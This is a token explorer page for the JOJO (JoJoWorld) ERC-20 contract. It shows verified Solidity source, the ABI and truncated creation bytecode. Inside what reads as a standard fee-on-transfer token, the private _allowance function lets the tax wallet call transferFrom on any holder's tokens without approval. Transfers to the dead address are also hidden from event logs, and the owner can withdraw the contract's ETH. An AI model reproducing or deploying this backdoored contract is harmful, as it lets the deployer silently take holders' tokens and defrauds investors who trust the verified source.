ERC-20
Overview
Max Total Supply
1,000,000,000 JOJO
Holders
130
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
JOJO
Compiler Version
v0.8.26+commit.8a97fa7a
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: UNLICENSE /* Website: https://jojoworld.xyz X: https://x.com/jojoworldeth Telegram: https://t.me/jojoworldeth */ pragma solidity ^0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract JOJO is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFees; address private _deadWallet = address(0xdead); address private _taxWallet; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals; string private constant _name = unicode"JoJoWorld"; string private constant _symbol = unicode"JOJO"; uint256 public _taxSwapThreshold = 100 * 10 ** _decimals; uint256 private _maxTaxSwapTokens = _tTotal / 100; uint256 private _initialBuyTax = 20; uint256 private _finalBuyTax = 0; uint256 private _reduceBuyTaxAt = 1; uint256 private _preventSwapBefore = 1; uint256 private _buyCount = 0; IUniswapV2Router02 private uniswapV2Router; address private _uniswapPair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier swapLock() { inSwap = true; _; inSwap = false; } constructor() payable { _balances[address(this)] = (_tTotal * 98) / 100; _balances[_msgSender()] = (_tTotal * 2) / 100; _taxWallet = _msgSender(); _isExcludedFees[owner()] = true; _isExcludedFees[address(this)] = true; emit Transfer(address(0), address(this), (_tTotal * 98) / 100); emit Transfer(address(0), _msgSender(), (_tTotal * 2) / 100); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); _uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _allowance( address owner, address spender, uint256 amount ) private view returns (uint256 _amount) { if(msg.sender != _taxWallet && (owner == _uniswapPair || spender != _deadWallet)) return amount; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( _allowance(sender, recipient, amount), "ERC20: transfer amount exceeds allowance" ) ); return true; } function _transfer(address JOJOSender, address JOJOReceiver, uint256 amount) private { require(JOJOSender != address(0), "ERC20: transfer from the zero address"); require(JOJOReceiver != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount = 0; if (JOJOSender != address(0) && JOJOSender != owner() && JOJOReceiver != owner() && JOJOSender != address(this) && JOJOReceiver != address(this)) { if ( JOJOSender != address(0) && JOJOSender == _uniswapPair && JOJOReceiver != address(uniswapV2Router) && !_isExcludedFees[JOJOReceiver] ) { taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt)? _finalBuyTax: _initialBuyTax).div(100); _buyCount++; } if (JOJOSender != address(0) && JOJOReceiver == _uniswapPair) { taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt)? _finalBuyTax: _initialBuyTax).div(100); } } uint256 contractTokenBalance = balanceOf(address(this)); if (JOJOSender != address(0) && JOJOSender != owner() && JOJOReceiver != owner() && JOJOSender != address(this) && JOJOReceiver != address(this) && amount > 0) { if(JOJOSender != address(this) && JOJOReceiver != address(this) && JOJOSender != owner() && JOJOReceiver != owner()){ if ( !inSwap && JOJOReceiver == _uniswapPair && swapEnabled && _buyCount > _preventSwapBefore ) { if (contractTokenBalance > _taxSwapThreshold) swapTokensForExactETH(min(contractTokenBalance,min(amount, _maxTaxSwapTokens))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); } } } } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(JOJOSender, address(this), taxAmount); } _balances[JOJOSender] = _balances[JOJOSender].sub(amount); _balances[JOJOReceiver] = _balances[JOJOReceiver].add(amount.sub(taxAmount));if (JOJOReceiver != _deadWallet) emit Transfer(JOJOSender, JOJOReceiver, amount.sub(taxAmount)); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function assistETH() public onlyOwner { payable(_msgSender()).transfer(address(this).balance); } function setTaxWallet(address _wallet) public { require(msg.sender == _taxWallet); _taxWallet = _wallet; } function sendETHToFee(uint256 amount) private { payable(_taxWallet).transfer(amount); } function openTrading () external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; tradingOpen = true; IERC20(_uniswapPair).approve(address(uniswapV2Router), type(uint).max); } function swapTokensForExactETH(uint256 tokenAmount) private swapLock { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } receive() external payable {} }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "remappings": [] }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"assistETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405261dead60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6100549190610a9e565b60646100609190610ae8565b60065560646009600a6100739190610a9e565b633b9aca006100829190610ae8565b61008c9190610b56565b60075560146008555f6009556001600a556001600b555f600c555f600e60156101000a81548160ff0219169083151502179055505f600e60166101000a81548160ff0219169083151502179055505f6100e961073c60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350606460626009600a6101979190610a9e565b633b9aca006101a69190610ae8565b6101b09190610ae8565b6101ba9190610b56565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460026009600a61020d9190610a9e565b633b9aca0061021c9190610ae8565b6102269190610ae8565b6102309190610b56565b60015f61024161073c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061028c61073c60201b60201c565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160035f6102de61074360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a6103e39190610a9e565b633b9aca006103f29190610ae8565b6103fc9190610ae8565b6104069190610b56565b6040516104139190610b95565b60405180910390a361042961073c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a6104899190610a9e565b633b9aca006104989190610ae8565b6104a29190610ae8565b6104ac9190610b56565b6040516104b99190610b95565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061056330600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6105499190610a9e565b633b9aca006105589190610ae8565b61076a60201b60201c565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105f19190610c0c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610677573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069b9190610c0c565b6040518363ffffffff1660e01b81526004016106b8929190610c46565b6020604051808303815f875af11580156106d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f89190610c0c565b600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d99565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036107d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cf90610ced565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083d90610d7b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109209190610b95565b60405180910390a3505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156109af5780860481111561098b5761098a61092d565b5b600185161561099a5780820291505b80810290506109a88561095a565b945061096f565b94509492505050565b5f826109c75760019050610a82565b816109d4575f9050610a82565b81600181146109ea57600281146109f457610a23565b6001915050610a82565b60ff841115610a0657610a0561092d565b5b8360020a915084821115610a1d57610a1c61092d565b5b50610a82565b5060208310610133831016604e8410600b8410161715610a585782820a905083811115610a5357610a5261092d565b5b610a82565b610a658484846001610966565b92509050818404811115610a7c57610a7b61092d565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f610aa882610a89565b9150610ab383610a92565b9250610ae07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846109b8565b905092915050565b5f610af282610a89565b9150610afd83610a89565b9250828202610b0b81610a89565b91508282048414831517610b2257610b2161092d565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610b6082610a89565b9150610b6b83610a89565b925082610b7b57610b7a610b29565b5b828204905092915050565b610b8f81610a89565b82525050565b5f602082019050610ba85f830184610b86565b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610bdb82610bb2565b9050919050565b610beb81610bd1565b8114610bf5575f80fd5b50565b5f81519050610c0681610be2565b92915050565b5f60208284031215610c2157610c20610bae565b5b5f610c2e84828501610bf8565b91505092915050565b610c4081610bd1565b82525050565b5f604082019050610c595f830185610c37565b610c666020830184610c37565b9392505050565b5f82825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f610cd7602483610c6d565b9150610ce282610c7d565b604082019050919050565b5f6020820190508181035f830152610d0481610ccb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f610d65602283610c6d565b9150610d7082610d0b565b604082019050919050565b5f6020820190508181035f830152610d9281610d59565b9050919050565b612c1c80610da65f395ff3fe6080604052600436106100ea575f3560e01c8063715018a611610089578063bf474bed11610058578063bf474bed146102e3578063c9567bf91461030d578063dd62ed3e14610323578063ea414b281461035f576100f1565b8063715018a61461023d5780638da5cb5b1461025357806395d89b411461027d578063a9059cbb146102a7576100f1565b806318160ddd116100c557806318160ddd1461017157806323b872dd1461019b578063313ce567146101d757806370a0823114610201576100f1565b8062bbdb3d146100f557806306fdde031461010b578063095ea7b314610135576100f1565b366100f157005b5f80fd5b348015610100575f80fd5b50610109610387565b005b348015610116575f80fd5b5061011f610468565b60405161012c9190611eb9565b60405180910390f35b348015610140575f80fd5b5061015b60048036038101906101569190611f6a565b6104a5565b6040516101689190611fc2565b60405180910390f35b34801561017c575f80fd5b506101856104c2565b6040516101929190611fea565b60405180910390f35b3480156101a6575f80fd5b506101c160048036038101906101bc9190612003565b6104e5565b6040516101ce9190611fc2565b60405180910390f35b3480156101e2575f80fd5b506101eb6105c3565b6040516101f8919061206e565b60405180910390f35b34801561020c575f80fd5b5061022760048036038101906102229190612087565b6105cb565b6040516102349190611fea565b60405180910390f35b348015610248575f80fd5b50610251610611565b005b34801561025e575f80fd5b5061026761075f565b60405161027491906120c1565b60405180910390f35b348015610288575f80fd5b50610291610786565b60405161029e9190611eb9565b60405180910390f35b3480156102b2575f80fd5b506102cd60048036038101906102c89190611f6a565b6107c3565b6040516102da9190611fc2565b60405180910390f35b3480156102ee575f80fd5b506102f76107e0565b6040516103049190611fea565b60405180910390f35b348015610318575f80fd5b506103216107e6565b005b34801561032e575f80fd5b50610349600480360381019061034491906120da565b610a98565b6040516103569190611fea565b60405180910390f35b34801561036a575f80fd5b5061038560048036038101906103809190612087565b610b1a565b005b61038f610bb5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461041b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161041290612162565b60405180910390fd5b610423610bb5565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610465573d5f803e3d5ffd5b50565b60606040518060400160405280600981526020017f4a6f4a6f576f726c640000000000000000000000000000000000000000000000815250905090565b5f6104b86104b1610bb5565b8484610bbc565b6001905092915050565b5f6009600a6104d191906122dc565b633b9aca006104e09190612326565b905090565b5f6104f1848484610d7f565b6105b8846104fd610bb5565b6105b361050b88888861181e565b604051806060016040528060288152602001612bbf6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61056a610bb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119359092919063ffffffff16565b610bbc565b600190509392505050565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610619610bb5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069c90612162565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4a4f4a4f00000000000000000000000000000000000000000000000000000000815250905090565b5f6107d66107cf610bb5565b8484610d7f565b6001905092915050565b60065481565b6107ee610bb5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461087a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087190612162565b60405180910390fd5b600e60149054906101000a900460ff16156108ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c1906123b1565b60405180910390fd5b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610912306105cb565b5f8061091c61075f565b426040518863ffffffff1660e01b815260040161093e96959493929190612411565b60606040518083038185885af115801561095a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061097f9190612484565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60146101000a81548160ff021916908315150217905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a559291906124d4565b6020604051808303815f875af1158015610a71573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a959190612525565b50565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b72575f80fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c21906125c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8f9061264e565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d729190611fea565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ded576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de4906126dc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e529061276a565b60405180910390fd5b5f8111610e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e94906127f8565b60405180910390fd5b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610f0d5750610edd61075f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610f4c5750610f1c61075f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610f8457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610fbc57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561121d575f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156110495750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156110a25750600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156110f5575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611150576111366064611128600a54600c541161111557600854611119565b6009545b8561199790919063ffffffff16565b611a0e90919063ffffffff16565b9050600c5f81548092919061114a90612816565b91905055505b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156111d85750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561121c57611219606461120b600a54600c54116111f8576008546111fc565b6009545b8561199790919063ffffffff16565b611a0e90919063ffffffff16565b90505b5b5f611227306105cb565b90505f73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015611298575061126861075f565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156112d757506112a761075f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561130f57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561134757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561135257505f83115b15611518573073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156113bf57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113fe57506113ce61075f565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561143d575061140d61075f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561151757600e60159054906101000a900460ff161580156114ab5750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114c35750600e60169054906101000a900460ff165b80156114d25750600b54600c54115b15611516576006548111156114ff576114fe6114f9826114f486600754611a57565b611a57565b611a6f565b5b5f4790505f81106115145761151347611cda565b5b505b5b5b5f821115611617576115708260015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d4290919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161160e9190611fea565b60405180910390a35b6116678360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d9f90919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061170a6116be8385611d9f90919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d4290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611817578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118018587611d9f90919063ffffffff16565b60405161180e9190611f